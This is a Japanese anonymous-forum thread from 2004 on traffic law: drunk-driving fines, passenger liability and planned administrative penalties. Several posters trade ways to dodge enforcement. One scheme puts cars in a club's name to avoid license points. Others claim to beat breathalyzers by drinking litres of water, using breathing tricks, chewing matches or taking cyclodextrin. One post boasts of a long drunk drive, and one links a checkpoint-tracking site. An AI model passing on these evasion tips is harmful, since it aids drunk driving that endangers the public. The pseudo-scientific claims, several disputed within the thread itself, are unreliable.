制裁金は法人でも免許持ってなくても課す事が出来るけど、「当時の運転者を特定する義務」を怠った無免許(含法人)の所有者に点数を課すのは、結構難しそう。


291 :289:04/02/15 16:56 ID:???
>290
確かに当時の運転者不明ということはありえるね。
でも、行政は点数なんかどうでもいいんじゃないかな?
反則金or罰金さえ入ってこれば、点数はつけられなくても無問題と考えているんじゃ?

292 :290:04/02/15 17:13 ID:qh+iXxU5
>>291
そうですね。
確かに点数課しても警察に金が入る訳じゃないしね。

じゃあ行政制裁金制度が導入されたら、、駐禁やオービスに捕まる可能性のある人は仲間内で「○○モーター愛好会」とか作って、会員の車を全部愛好会名義にしておいてはどうだろ。
駐禁やオービスの、点数や免停からは逃れられるかも。


293 :289:04/02/15 17:37 ID:???
>292
愛好会名義にするには愛好会の印鑑証明書がいるから、愛好会を法人登記して、車庫証明のために駐車場確保して・・・
お金かかるし面倒くさいねw


294 :名無しさん@お腹いっぱい。:04/02/16 02:55 ID:eksaScAN
>>293
確かに。
じゃあ、愛好会の家族とかで免許持ってない人を理事にして、理事の個人名義にするとか。
これなら愛好会を登記する必要も無いし。


295 :289:04/02/16 18:39 ID:???
>294
車庫証明はどうするの?
そんな怪しげな会なら目をつけられるから、全員車庫法違反で検挙されるよ。

296 :名無しさん@お腹いっぱい。:04/02/16 18:59 ID:/kcMMrfB
>>295
では、少し面倒だけど愛好会を登記するかな。
そして、各会員の自宅を愛好会の支部にする。
例えば会員甲氏の使う車は、甲氏の自宅(愛好会の支部)を使用の本拠地とする。
これでどう?

登記費用位なら、ソコソコ人数集まれば大した金額にはならないでしょ。


297 :289:04/02/16 20:11 ID:???
>296
その形にすると、車検証上は所有者が愛好会、使用者が甲氏になるから
当初の目的は達成されないなw


298 :名無しさん@お腹いっぱい。:04/02/16 21:24 ID:jEpbpD0a
>>297
何故?
支部として甲氏が自宅の一部を提供してるだけで、愛好会の使う車だよ。
たまたま甲氏が使用する機会が多くなるとは思うが、原則はあくまで愛好会のみんなで使う車。
所有者も使用者も愛好会ではないか。

299 :名無しさん@お腹いっぱい。:04/02/17 13:30 ID:???
>298
会員宅をすべて支部にするわけか。
そうなると支店として登記しないと認められないと思うから、さらにお金がかかるな。

あとね、何回も納付命令受けると、3ヶ月を超えない範囲の車両の使用禁止になるんだってさ
お金かかるし、使用禁止のリスクはあるは、割に合わないね。

300 :名無しさん@お腹いっぱい。:04/02/17 14:33 ID:vY5PhJC3
>>299
>>さらにお金がかかるな。
印紙代数千円位かな。
免停で運転出来なくなる事を考えると、高いのやら安いのやら。
まあその辺は、人それぞれ事情は違うと思う。
サンデードライバーも居れば、車を運転できないと配達出来なくなる個人事業主さんも居る訳で。

>>何回も納付命令受けると
ん?いや金は払うんだよ。
法人だろうが自然人だろうが任意団体だろうが支払い義務を免れる訳ではないからね。
292にもあるように、あくまで点数や免停を避ける方法という事で。

301 :名無しさん@お腹いっぱい。:04/02/17 18:19 ID:???
>300
違う何回も納付命令受けると払った払ってないにかかわらず車両が使用禁止になるの。

302 :名無しさん@お腹いっぱい。:04/02/17 21:30 ID:M9GiaQ+9
>>301
げ!そーなの?

ちなみに、普通に個人所有の車でも何回も納付命令受けると、3ヶ月を超えない範囲の車両の使用禁止になるの?
だとしたら、点数がつかない分だけ愛好会名義の方が得だね。

303 :名無しさん@お腹いっぱい。:04/02/17 23:56 ID:???
>302
どっちが得だろうね。
累積点からくる免停なんて講習受ければ実質1日に短縮されるから、車両が使用禁止になるよりはマシじゃない?
あとは使用禁止の車を実際に運転していて捕まった場合の罰則はどうなるんだろうか・・・

304 :名無しさん@お腹いっぱい。:04/02/18 00:15 ID:???
>303
所詮行政処分だからね。
より厳しい行政処分(=使用禁止期間が延びる)になるだけでしょ。

305 :名無しさん@お腹いっぱい。:04/02/18 01:06 ID:???
原付・酒気帯び・2ケツの同乗者は罰則ありますか?
詳しい人教えてください。お願いします。

306 :名無しさん@お腹いっぱい。:04/02/18 01:25 ID:CCJnzS29
>>303
使用禁止は個人所有でも来るんじゃないの?
だとすると、
個人所有=使用禁止+点数
愛好会所有=使用禁止のみ
となり、愛好会の方が得になるような気がするけど。

307 :名無しさん@お腹いっぱい。:04/02/18 01:34 ID:CCJnzS29
>>305
酒気帯びに関してはあると思う。
四輪の酒気帯びでも同乗者に罰則あるので、二輪だけ適用除外にする理由はないと思う。

2ケツは多分無いんじゃないかな。
四輪で同乗者がシートベルトしてなくても切符きられるのは運転者でしょ。

2ケツの方は自信ないので、もし間違ってたらスマソ

308 :名無しさん@お腹いっぱい。:04/02/18 03:15 ID:s7IYxKwv
よく警察の人が「一気に吹き込んで!回数分けると
余計高くでるよ!」とかいいますが本当ですか?
どーもだまされてる気がしてなりません。 

309 :名無しさん@お腹いっぱい。:04/02/18 03:33 ID:???
>306
個人所有でも愛好会所有でも運転者特定できなければ点数はこないよ

310 :名無しさん@お腹いっぱい。:04/02/18 03:50 ID:???
>>307
ありがとうございます。
そうですかぁ。
教唆・幇助ってやつですよね。
なるほどよく分かりました。



311 :名無しさん@お腹いっぱい。:04/02/18 04:16 ID:S3mCqcL4
>>309
スマソ
話が長くなって分かりにくくなった。
実は、>>288-292から始まった行政制裁金制度施行後の話。

確かに現行法では運転者を特定出来ないと、反則金も点数も来ないね。
だから、二人で出頭してお互いに責任を擦り合うと、警察はお手上げですね。

312 :名無しさん@お腹いっぱい。:04/02/18 05:05 ID:???
>311
いや、だから、現行法でも行政制裁金制度施行後でも運転者が特定できなければ加点はできない。
行政制裁金制度は運転者は特定できなくても違反金は使用者に払わせますよって制度。

313 :名無しさん@お腹いっぱい。:04/02/18 05:29 ID:8aMyE1k6
>>312
サンクスです。
では、駐禁の逃れ方系の話は、点数に関する限り制裁金施行後も有効ですね。


314 :名無しさん@お腹いっぱい。:04/02/18 06:46 ID:???
>307、310
さんざん既出だが同乗したことが理由で幇助を問われることは無い。
もちろん教唆になんてなるはずがない。

315 :名無しさん@お腹いっぱい。:04/02/18 08:34 ID:???
>>314
じゃあこの場合の同乗者は、
罰金ナシということになりますか?

316 :名無しさん@お腹いっぱい。:04/02/18 11:03 ID:p1zXONAI
この前 バイク二人乗りで 飲酒でつかまった!
ちなみに 後ろのやつは 切符きられなかったけど
車とは ちがうかな?

317 :名無しさん@お腹いっぱい。:04/02/18 11:51 ID:???
>>316
酒酔いの幇助や教唆は同乗の有無や車両の種別は関係ない

その人間を酒に酔わせて運転させる協力や命令、強要があるかないか
同乗で罪に問われた事例は皆無に等しい

昨今でも酒酔い死亡事故を起こした運転手と同乗者に連帯賠償を
言い渡した民事判決はあるが同乗者は刑事責任も行政責任も問われていない

318 :名無しさん@お腹いっぱい。:04/02/18 18:28 ID:???
>>317
飲酒運転容認っていう罪はないんですか?


319 :316:04/02/18 20:52 ID:BVgq92IH
317−ありがと!

320 :名無しさん@お腹いっぱい。:04/02/18 21:01 ID:???
>>318
ない。
あんたが考えてるようなこと言ってたら,酒を出してる飲食店も,酒屋でさえも,
みんな飲酒運転容認っていう罪になるよ。
一応,317の言うとおり。あくまでも「一応」

321 :俺は:04/02/18 23:38 ID:ntmN1Pgs
酒気おびで検知器測定そして0.15出た。これを一切認めず、サインも拒否。
調書も拒否。どうなったと思う?

322 :名無しさん@お腹いっぱい。:04/02/18 23:52 ID:???
>321
警察もバカは相手にしないから無罪放免

323 :名無しさん@お腹いっぱい。:04/02/19 11:20 ID:???
http://hobby4.2ch.net/test/read.cgi/car/1071876168/l50

ここに、マスコミや警察のプロパガンダを鵜呑みにして
飲酒運転が本当に危ないと思ってる香具師がいっぱい居るぞ!

324 :321:04/02/19 17:56 ID:sLxGPXb/
甘いな。お前らほんとに捕まったこと無いだろ。
おれは実体験で検察まで行ってきた。


325 :名無しさん@お腹いっぱい。:04/02/19 22:07 ID:???
>324
ごちゃごちゃ言ってないで体験談かけよ。

326 :名無しさん@お腹いっぱい。:04/02/20 02:47 ID:???
>>320
丁寧にありがとうございます。
とりあえず納得しました。

327 :名無しさん@お腹いっぱい。:04/02/20 10:57 ID:???
>324
それは自慢になるような体験か?
検察で説得されて略式応じたって話しなら、ただのアフォだぞ?
略式蹴って正式裁判に負けたって話しなら、さらに大バカだぞ?

検察まで動かして不起訴に持ちこんだ話しなら体験談キボン

328 :名無しさん@お腹いっぱい。:04/02/21 00:28 ID:???
>326
道路交通法違反に飲酒運転の下命容認てのはあるよ。
君が思うようなケースはそれにあたらないけど。

329 :321:04/02/21 14:10 ID:dm8YX5qm
まあ結論書こう、起訴猶予となった。1年と4ヶ月に渡るものだったがな。
なぜ霞ヶ関の検察での詳細とやりとりを教えてやろうと思ったが、やめた。
325や327のような奴がいるからな。
テメーら実体験も無いくせに能書きばっかりたれてんじゃねえよ。

330 :321:04/02/21 14:15 ID:dm8YX5qm
325・327は一度自分で経験してみろボケ
テメーにはもったいない話だ
検察に書類を送られて不起訴(起訴猶予)に持ち込めた貴重な実体験だったがな。
飲酒運転はやめとけよ。
あばよ。


331 :名無しさん@お腹いっぱい。:04/02/21 15:12 ID:???
>>321
自慢になることかな?ドジっただけだろ。普通ばれないだろ。
それ以前に、俺、飲んだら0.15ぐらいじゃなくもって明らかに多くなると思う。
下戸な奴の体験談はどうでもよい。
というか0.15程度で一年以上もゴネれば猶予になる話は周りにも数例聞いた。
もっと度派手な奴が起訴猶予に持ち込んだ話を聞きたい。


332 :飲酒でGO!:04/02/21 19:41 ID:ewALT5yZ
先日、500mlの缶ビール3本、日本酒2合、水割り(ロック)を5杯飲んで
から、捕まらずに何処まで行けるか試しました。
愛知県から滋賀県の雄琴まで行けました。
酔いが覚めたので、雄琴のソープで抜いて帰りました。
パトカーと5回ぐらいすれ違ったし、、2回ぐらい後ろにつかれました。

333 : :04/02/21 22:58 ID:dm8YX5qm
>331
まキサマは根性なしの金玉ちいせー男だからなんもできんだろうがな。

334 :名無しさん@お腹いっぱい。:04/02/22 00:10 ID:???
>dm8YX5qm
結局舞い戻ってきてるし。
聞いてあげないから、消えろ

335 :名無しさん@お腹いっぱい。:04/02/22 00:24 ID:???
禿同
だいたい自分で「貴重な実体験」って言ってる時点でかなりDQN

336 :名無しさん@お腹いっぱい。:04/02/22 02:57 ID:???
さも自分だけ、みたいなところがドキュソだな
起訴猶予率知らんのか
0.15ならそう難しくないだろ。メデテーオツムだな

337 :名無しさん@お腹いっぱい。:04/02/22 04:50 ID:???
まー彼にしてみれば、自分はすげー天才的なやりとりで起訴猶予を勝ち取ったとでも思ってるんだろ。


338 :名無しさん@お腹いっぱい。:04/02/22 12:55 ID:g0h5a4/L
天才的ネゴシエータ、降臨マダカナー
どうせ気になって見に来てるんだろー
ポクチンのキチョーな話、聞いてあげるからさー

339 :名無しさん@お腹いっぱい。:04/02/22 12:58 ID:ad4shwDl
ひなあられ食べると反応しないって本当ですか?

340 :名無しさん@お腹いっぱい。:04/02/22 13:44 ID:???
有名な話だね。

341 :名無しさん@お腹いっぱい。:04/02/22 13:45 ID:???
牛乳とかスポーツドリンクは駄目なの?

342 :名無しさん@お腹いっぱい。:04/02/22 15:06 ID:???
牛乳やスポーツドリンクで反応しなくなるなら急性アル中の特効薬だな。


343 :名無しさん@お腹いっぱい。:04/02/22 15:12 ID:D5jk+/Pa
なんかアルコールの話で牛乳やスポーツドリンクの話が出るから勘違いしてるみたいだなw
牛乳はアルコールを飲む前に飲むと胃に粘膜を作るから、酔いにくくなる。
スポーツドリンクはアルコールを体に吸収しやすくなるため、すぐ酔う。
二日酔いのときは水分が足りなくなっているから、水よりも吸収のいいスポーツドリンクを飲むといい


344 :名無しさん@お腹いっぱい。:04/02/22 18:51 ID:???
>343
牛乳が膜を作るというのは嘘

345 :名無しさん@お腹いっぱい。:04/02/23 18:50 ID:3sdsUUTM
330=痛すぎ!笑

346 :名無しさん@お腹いっぱい。:04/02/26 03:15 ID:FQIjBuva
ふと気になったんだけど、頭や顔にお酒がかかった状態で
検問につかまったら、どうなるんだろう。
もちろん、経口摂取は一切してないという前提で。

347 :名無しさん@お腹いっぱい。:04/02/26 09:34 ID:GVBIZ2eb
うがいさせてくれるんだから、顔くらい洗わせてくれると思うよ。
でも、頭にかかると髪の毛に染み込むよね。
それって影響しないのかな?

348 :名無しさん@お腹いっぱい。:04/02/26 14:45 ID:???
酒臭ければ検査はされるかもしれんが、呼気にアルコールが入ってなければ問題ない。
アルコールが髪の毛にしみ込むかどうかしらんが、そのアルコールが血中に入るとは思えん。

349 :名無しさん@お腹いっぱい。:04/02/26 22:15 ID:982sSfER
血中に入るとは思わないけど、呼気に混ざる事は有りうるかも。

350 :名無しさん@お腹いっぱい。:04/02/26 22:19 ID:???
>349
風船検査で?
どうやって?


351 :名無しさん@お腹いっぱい。:04/02/28 03:43 ID:8NSJWkGy
>>350
まずその人の周囲に漂ってるアルコール分を吸気と一緒にを吸い込む。
そしてそれを風船の中に吐き出す。
これなら十分有りうるのでは?

352 :名無しさん@お腹いっぱい。:04/02/28 06:40 ID:???
その人の周囲にどんな濃度のアルコールが漂ってるんだよ?

353 :名無しさん@お腹いっぱい。:04/02/29 21:55 ID:nYGgVNEu
全国検問情報サイト
http://www.kenmon.net/top.html

携帯でも快適に使えるよ。

354 :23:04/03/01 13:36 ID:l/SDvwj1
以前、水を大量に飲むとOKと書いたものです。
検知拒否のほうが酒気帯びより軽いから、
検知拒否して逮捕されて血液検査されるのも時には手、との話もありました。

ところでまた、水大量やってみました。
今回は、3時間くらいでウイスキーをボトル半分くらい空けて、
その後30分くらいで検問に。

今度はなれたもので、「呼気検査は受けるから、コンビニで水買わせて」
といって、水6リットルを購入。
結局全部は飲みきれなかったけど、5リットルは飲んだかな。
吐きはしなかったです。

んで今回も結果は、メーターがピクリとも動かなかった。

みなさん、ほんとに、心から、水を多量に飲む、をオススメしたいです。

355 :354:04/03/01 13:38 ID:l/SDvwj1
ポイントは、「呼気検査」「血液検査」の違いじゃないかと思うんです。
専門っぽい人がかかれてましたが、たしかに、
血液検査の場合は、水飲んだからどうのこうの、ってあんまり関係無いような気がします。

でも、呼気検査って、基本的には肺から大部分、そしてある程度胃から、
で、腸からは出てこないですよね。

だから水を大量、これじゃないかな、と...

356 :名無しさん@お腹いっぱい。:04/03/01 13:57 ID:???
体験談として情報を出してくれるのはありがたいんだが、その解釈は理解できない。

呼気検査と水を大量がどう関係あるの?
肺で血液からアルコールが呼気に出る。
従って呼気から血中アルコール濃度を推定できる、って言うのが検査の理屈でしょ。
水を飲んだら肺から呼気にアルコールが出ないっていうのが俺にはさっぱりわからん。

357 :名無しさん@お腹いっぱい。:04/03/01 22:57 ID:ygC42TPK
原付で酒気帯びで捕まったんだけど反則金は車と同じですか?

358 :名無しさん@お腹いっぱい。:04/03/01 23:45 ID:???
酒気帯びに反則金など無い

359 :名無しさん@お腹いっぱい。:04/03/02 02:08 ID:iSSuMAdG
結局金いくら位払う事になるの?

360 :名無しさん@お腹いっぱい。:04/03/02 08:34 ID:???
検査の時の数値とそれまでの違反歴を書け

361 ::04/03/03 00:24 ID:eGfwEh/y
酒気帯びの取り締まりをする時は必ず検問なの?たとえば白バイ1台で原付止めて
検査もあり??

362 :名無しさん@お腹いっぱい。:04/03/03 00:43 ID:???
通常夜に白バイはいない
パトカーに止められて飲酒検査はある

363 :354:04/03/03 15:14 ID:???
ああそっか自分で書いてて変だった。
血中アルコール→肺→呼気
ということなら、水は「直接的には」関係ないすよね。。。
それとも、実は呼気検査は胃からのソレを期待している?それなら
水効果ありそうですね。

364 :名無しさん@お腹いっぱい。:04/03/03 18:31 ID:46PQhN0h
0.1ミリで20万取られた。
これって妥当なの?

365 :名無しさん@お腹いっぱい。:04/03/03 18:46 ID:???
しょうがないよ
今の検査だとウィスキーボンボンでも反応でるし
実際死亡事故は減ってるんだから厳しくした方がいいっしょ

366 :名無しさん@お腹いっぱい。:04/03/03 18:56 ID:???
>365
0.1ミリっていわれても・・・
単位は?


367 :名無しさん@お腹いっぱい。:04/03/03 20:30 ID:???
>胃からのソレ
って・・・ナニ?
ゲップか何かか?
それともミでつか・・・

そんなの期待してない

368 :359:04/03/04 09:52 ID:1eui7atG
1.5(単位忘れた)でした。
4年前位にシートベルトと信号無視で各一回捕まってます

369 :368:04/03/04 13:51 ID:FeMjDVts
間違えました。0.2(単位忘れた)でした。


370 :名無しさん@お腹いっぱい。:04/03/04 13:56 ID:???
あちこちで同じこと聞くな。


371 :名無しさん@お腹いっぱい。:04/03/05 00:38 ID:BahyX8l/
ttp://www.peeman.jp/cgi-bin/yybbs/yybbs.cgi?

ここにも困った人がいます。

372 :捕まらん:04/03/06 13:04 ID:???
飲み屋から出て、車を運転して公道に出たところで捕まった。
飲んで無いと言った(実はビール二本と日本酒1合飲んで1時間後)
が、飲酒検査させられた。でも、アルコールが検出されなかった。
アルコールが検出されない方法発見!


373 :名無しさん@お腹いっぱい。:04/03/06 20:54 ID:YyYJg2/O
もしよろしければ、教えてください。
酒気帯び+αで18点となり、出頭要請がきました。
はがきには、欠席のまま処分を受けれると書いてありました。
酒気帯びは有無を言わず、免取となると聞きました。
とりあえず、出頭するにして送ろうと思っているのですが、
酒気帯びの場合、出席と欠席で何か違いはあるのですか?


374 :名無しさん@お腹いっぱい。:04/03/06 23:14 ID:???
それだけ日本語下手なら出欠は関係ないと思われ

375 :これは:04/03/06 23:26 ID:ieYDMZq+
1回免取になり、そのまま、乗ってたら、2回無免許で、つかまりました、
どれぐらいで、免許取れるようになるんでしょうか??

376 :名無しさん@お腹いっぱい。:04/03/07 02:44 ID:???
>375
5年だ

藻前未成年か?
成人だったら罰金大変だな
まぁ次からは懲役なんだが・・・

377 :これは:04/03/07 14:25 ID:UakQLtEv
>>376
レスありがとうございました。
2年前ぐらいに前に最後つかまりました、
と、いうことは、後三年ですかね・・・・
法律が、2年前ぐらいと、今ではちがいますよね?
それでも、5年回復までかかるんですかね??


378 :名無しさん@お腹いっぱい。:04/03/07 14:45 ID:aIAc+AT7
肺の中の空気って一回入れ替えちゃうと、機械に反応するレベルまで
アルコール濃度(通称)が高まるまで時間がかかるものなの。
ただし深呼吸しても意外に肺の上部の一部の空気しか動かないので口を
半開きにして短く鋭い呼吸を一分位繰り返すのがいい。風船ならうがい
の時にわざと気管に水をいれると激しく咳き込むからこれできれいに入れ替わる。
後は躊躇してると再びどんどん肺の空気の中にアルコールが染み出すから一気に
息を出すなり膨らませるなりやっちゃうこと。血中濃度=呼気中の濃度ではないって
ことね。検知器で実験してみてね。ちなみに顔にハ〜ってのは匂いというより
は態度を見てるので
「飲んでないっすよ〜」とかいってないでさっさと顔を突き出すこと。
検問が見えたら窓を全開にして以上を試してみましょう。


379 :名無しさん@お腹いっぱい。:04/03/07 15:34 ID:AtQEY7kH
>>377
おまえもう死んだ方がいいよ。
今でも無免で乗っているんだろ。


380 :これは:04/03/07 17:27 ID:8AT1RwTu
>>379
なにが、死んだほうがいいだよ、
お前が死ね、免許なく不便だから、
再取得かんがえてるんだよ!
2回つかまってこりごりで、乗ってるか、
暴言吐くな!


381 :名無しさん@お腹いっぱい。:04/03/07 17:30 ID:iiliAWxR
>>380
おまえみたいな無免許で車を乗り回すようなヤツが
なにえらそうなこと言ってる
詩ねや

つーか2回目つかまってやってこりたの?
普通なら免停の時点で懲りるんだけどな
頼むからマジでひとりあぼーんして欲しい


382 :正義の味方:04/03/07 18:16 ID:8AT1RwTu
>>381
しょ〜もないぞ、君

383 :名無しさん@お腹いっぱい。:04/03/07 18:51 ID:jSphFta0
おれは>>381の方が正しいと思うけどな。


384 :味方:04/03/07 18:58 ID:8AT1RwTu
>>383
こんな、しょうもない、口論はやめ!!!

385 :名無しさん@お腹いっぱい。:04/03/07 19:50 ID:???
>375=377=380=382=384
ハンドル変えたらIDには注意せんとな

そんなことだから3回も無免で捕まるんだよ
免許取り直すのもあきらめたら?

386 :無免許マン:04/03/07 22:31 ID:3eZfUufU
>>380 君は歳は何歳だい? 他の文句言ってくる奴なんて相手にする事はないぞ!

387 :名無しさん@お腹いっぱい。:04/03/08 15:26 ID:+vK6u7hk
マッチ棒(着火する部分)を3本分くらい口の中で噛んで風船をふくらますと
ほとんど数値が出ないという話を聞いた事がある

388 :名無しさん@お腹いっぱい。:04/03/08 17:14 ID:8WSAnvFJ
酒気帯びで捕まったときの罰金って、どうやって決まるの?
30万以下というのは幅が広すぎると思うが・・・
アルコール濃度に比例?

389 :名無しさん@お腹いっぱい。:04/03/08 17:48 ID:???
だいたいの相場がある。
4輪で初犯なら20万、2回目なら30万とか。

390 :388:04/03/09 12:05 ID:8oepr/4P
>>389
初犯で20万か・・・。以下とかいっても5万10万はないんだね。

391 :名無しさん@お腹いっぱい。:04/03/09 13:11 ID:bzaGOIDq
そもそも上限5万じゃ罰則として不適当だってことで改正されたんだからな。
少なくとも4輪でそんな安いんじゃ改正した意味無いでしょ。
原付の初犯なら10万くらいだと思う。


392 :名無しさん@お腹いっぱい。:04/03/09 13:58 ID:???
>>375=>>377=>>380

免許不的確と判断されたから取り消しになったんだろ?
で、懲りずに無免やってるわけだ。
DQNって何のことですか?の見本みたいな奴だな。

 コイツが永久に免許とれない事を切に願うよ。

393 :名無しさん@お腹いっぱい。:04/03/13 01:55 ID:???
さっき酒気帯びで捕まった…

まじでもうやめよう。

394 :名無しさん@お腹いっぱい。:04/03/13 21:56 ID:qfcBxIM5
>>392
ここの板でそんな事言われてもねw

395 :名無しさん@お腹いっぱい。:04/03/17 13:27 ID:eXT9XFYv
酒気帯びの罰金って原付の初犯だと10万ってほんと?車と違うの?



396 :名無しさん@お腹いっぱい。:04/03/17 13:47 ID:???
>>395
基本的に刑事罰は人物の査定と犯罪の査定をして妥当な罰を
範囲内輪で求刑、判決されるので定額は無い
事務処理だから規則的だろうが原付も自動車もそう変わらないよ


397 :名無しさん@お腹いっぱい。:04/03/17 14:40 ID:???
>396
原付、バイク、車、全部罰金の相場が違うよ。

398 :名無しさん@お腹いっぱい。:04/03/17 18:50 ID:rUAD+JDA
最近、大瓶ビールを1本半と焼酎のロック1杯飲んで、
酒気帯び(0.2弱)運転で捕まってしまいました。
このサイトをもっと前に見ておくべきだった。
水のがぶ飲みしていれば、セーフだったような気がする。
最後に飲んだ焼酎のロックがいけなかった。
飲んで直ぐだったので検査のとき、確実に胃の中に焼酎があったはず。
罰金は100ccのバイクだたけど、10万位じゃないかと
捕まえた警官が言っていた。

399 :名無しさん@お腹いっぱい。:04/03/18 01:05 ID:???
>398
胃の中からのアルコールなんか呼気検査に寄与しねーよ
100ccなら15万

400 :名無しさん@お腹いっぱい。:04/03/18 06:17 ID:TZVpxz8c
ドリンクドライバーは
死んでください。

401 :名無しさん@お腹いっぱい。:04/03/19 13:27 ID:Vyk5B+tZ
少しお酒飲んで、誰にも迷惑かけないよう安全運転してても、
捕まれば罰金は20〜30万、
酒飲んで、泥酔して人身事故を起こし、
人殺しても罰金は50万?

被害を与える可能性があった者への罰金と
実際の被害与えた者への罰金は殆んど変わらない。
この罰金の理不尽さをどう考える?
0.0001%でも可能性があれば同罪だといいたいのか?
この法律を通した政治家はいったい誰だ?

この罰金は自治省から地方の行政団体へ回り、
特殊法人、ファミリー企業、
回りまわって、高級官僚っていう奴らの退職金になるのか?
この罰金はこういう寄生虫のためにあるのではないか。

理不尽な罰金を取られた者で、こいつらを呪い、駆除しようぜ。


402 :名無しさん@お腹いっぱい。:04/03/19 13:34 ID:JEuEuNAW

↓のスレで馬鹿がオナニーしてます
http://sports5.2ch.net/test/read.cgi/base/1076476572/l50


てめえの趣味はてめえでホームページでも作ってやれ。
ここは公共の掲示板だ。オナニーする場所じゃねえ。


↑このコピペを書きむだけでいいです。協力おねがいします。

403 :名無しさん@お腹いっぱい。:04/03/19 13:39 ID:???
>>401
プッ

罰金は国庫だよ。
一般犯罪の罰金も交通の罰金も裁判所が下した刑罰なんだから
同じ財布に入って所得税と同じに扱う

酒酔い運転の罰則と
実際被害をあたえた業務上過失致死や過失傷害、危険運転致死・致傷罪
は根本的に量刑は違うよ

無能なりに一生懸命書いたのだろうがもっと勉強してから文句言おうね

404 :名無しさん@お腹いっぱい。:04/03/19 14:48 ID:Vyk5B+tZ
>>403
プッ

お馬鹿なお前には理解できんだろうが…
せいぜい、掲示板で頑張りな。いじめられっ子君


405 :名無しさん@お腹いっぱい。:04/03/19 14:56 ID:???
>>404
ププ

その負け惜しみコピペは何処から?

406 :名無しさん@お腹いっぱい。:04/03/19 15:02 ID:oBT4ad10
ここは403に軍配だな。

407 :名無しさん@お腹いっぱい。:04/03/19 15:21 ID:???
>>401
飲酒は論外だけど、酒気帯びに関しては厳しすぎるという考え方はあると思う。
日本みたいに厳しい国は、かなり珍しい筈。
例外としては、ブルガリアは日本より厳しいらしいけどね。

まあ、最近は国庫も苦しいみたいだからね。

408 :名無しさん@お腹いっぱい。:04/03/19 16:07 ID:oBT4ad10
飲酒運転厳罰化で摘発数は減ったんだろ。
罰金総額はどうなってるんだ?

409 :現在90日免停中:04/03/19 19:07 ID:VxGYy7cm
スレ違いですが教えてください。
短期の免停で短縮講習の後、免許証の裏に日付のゴム印押されますよね?
あれって長期の免停明けで警察から返してもらう時にも押されますか?
実は仕事柄、免許証を晒すことが多いのでできれば押されたくないのですが・・

410 :名無しさん@お腹いっぱい。:04/03/19 19:10 ID:???
スレ違いでつ
質問スレで

411 :現在90日免停中:04/03/19 19:18 ID:???
すみませんでした。
早速逝ってみますた。

412 :名無しさん@お腹いっぱい。:04/03/19 21:18 ID:Vyk5B+tZ
>>403
とりあえず、読んどけ
http://member.nifty.ne.jp/koba-san/law/traffic/hansoku.html

お前は寄生虫の役人の関係者?

413 :名無しさん@お腹いっぱい。:04/03/19 23:56 ID:???
>412
それは反則金じゃん。
今は罰金の話をしてるの。
わかる?

414 :名無しさん@お腹いっぱい。:04/03/20 02:06 ID:+6fc5CW5
>412
(/ω\) ハジカシー 晒し上げ

415 :名無しさん@お腹いっぱい。:04/03/20 03:26 ID:???
>>412
pultu

416 :名無しさん@お腹いっぱい。:04/03/20 08:35 ID:RXzbfRcI
横●の飲酒の検査機器に問題あったんだろ?
酒飲んでない人が酒気帯びになり、飲んでる奴がひっかからなかった。

417 :名無しさん@お腹いっぱい。:04/03/20 22:10 ID:???
>>413
国家財政も大変なんだよ。
お役人が無駄使いしたツケでね。
その支払いの為にせっせと集金活動させられる現場の警察官諸君には、心から同情するよ(・∀・)


418 :名無しさん@お腹いっぱい。:04/03/21 18:50 ID:DwcScYX5
>>416
三重じゃなかった?

419 :名無しさん@お腹いっぱい。:04/03/21 23:26 ID:???
>418
君は恥ずかしい勘違いをしてるぞ

420 :名無しさん@お腹いっぱい。:04/03/22 23:50 ID:???
酒気帯び厳罰化以降、地方のスナックなどは売り上げが大幅に低迷してるみたいね。
飲酒は断固取り締まるべきだけど、0.15まで取り締まる必要があるのかな〜。
これって、世界的に稀なほど厳しい基準なんだが。

421 :名無しさん@お腹いっぱい。:04/03/23 16:31 ID:+tabadKs
酒飲んでも、ブレスケアを噛んで飲めば酒気帯びでつかまらないっと
本当ですか?

422 :名無しさん@お腹いっぱい。:04/03/23 17:13 ID:uZIkf5mh
口臭除去のアルコール使ったやつをダッシュボードに置いておく。
→私これ使ったからですよ・・
→脱出!

423 :名無しさん@お腹いっぱい。:04/03/23 17:17 ID:???
>420
日本人は世界的に稀なほど酒に弱いのも事実なんだよね。


424 :名無しさん@お腹いっぱい。:04/03/23 17:42 ID:???
>421
警官の鼻とか探知機をごまかせればOK。
無理だろな。

>422
はいはい。


425 :名無しさん@お腹いっぱい。:04/03/23 17:53 ID:+tabadKs
>>424
その検知器をある程度ごまかせると聞いた。
さらにシクロデキストリンというでんぷんから出来る物質を飲めば
どんなに泥酔状態でも検知器に引っかからないと聞いたが、
本当かな?

426 :名無しさん@お腹いっぱい。:04/03/23 18:02 ID:???
シクロデキストリンはアルコール(に限らないが)を包みこんでアルコール臭を中和するから、警官の鼻や検知機をある程度はごまかせるだろうね。
でも、風船検査まで持ち込まれたらうがいさせられちゃうから厳しいね。

427 :名無しさん@お腹いっぱい。:04/03/23 18:26 ID:+tabadKs
>>426
その風船検査も大丈夫だったそうだ。血液検査があれば駄目だろう
と言っていた。

428 :名無しさん@お腹いっぱい。:04/03/23 18:59 ID:o69UbAIK
こんなのありましたけど、どうも胡散臭い…
だれか実際に食べたことあるかたおられますか?
       ↓
ttp://www011.upp.so-net.ne.jp/yoisame/index.htm

「しらふになれるキャンディー?」だと

429 :名無しさん@お腹いっぱい。:04/03/23 19:22 ID:???
>426
たった一回の体験談じゃあてにならんよ。
水飲んだら引っかからなかったなんて体験談があるくらいだから。


430 :名無しさん@お腹いっぱい。:04/03/23 19:31 ID:+tabadKs
<<428
多分それこそシクロデキストリンと思われる。

<<429
一回の経験ではないようだ。でんぷんから作れるので消臭薬として
低価格で販売できるのにどの会社も作らないのはこういう悪用が
あるためのようだ。

431 :名無しさん@お腹いっぱい。:04/03/23 19:36 ID:???
シクロデキストリンを先に食べて飲むのと飲んだ後に食べるのじゃ全然意味が違うと思うが。
前者は単に飲んでもアルコールが血中に入らないという事で、後者は呼気中のアルコールをキャッチするということ。
後者はうがい等で効果が薄れると思われ。

432 :名無しさん@お腹いっぱい。:04/03/23 19:41 ID:+tabadKs
>>431
その通りと私も思っていたが、血中のアルコール濃度が変わらなくても
胃の中にシクロデキストリンがあるだけで検知器には引っかからない
と聞いた。何故かは分からないが飲んだ後でも一定量以上飲むと
検知器には引っかからないらしい。

433 :名無しさん@お腹いっぱい。:04/03/23 19:51 ID:???
それは理屈が全くわからんな。
実践して報告ヨロ。

そのうち呼気中のシクロデキストリンーエタノール包設体を検知するようになるかもな。

434 :名無しさん@お腹いっぱい。:04/03/23 19:56 ID:o69UbAIK
チューブ入りの練りワサビにも
シクロデキストリンが入っているってさ!!!
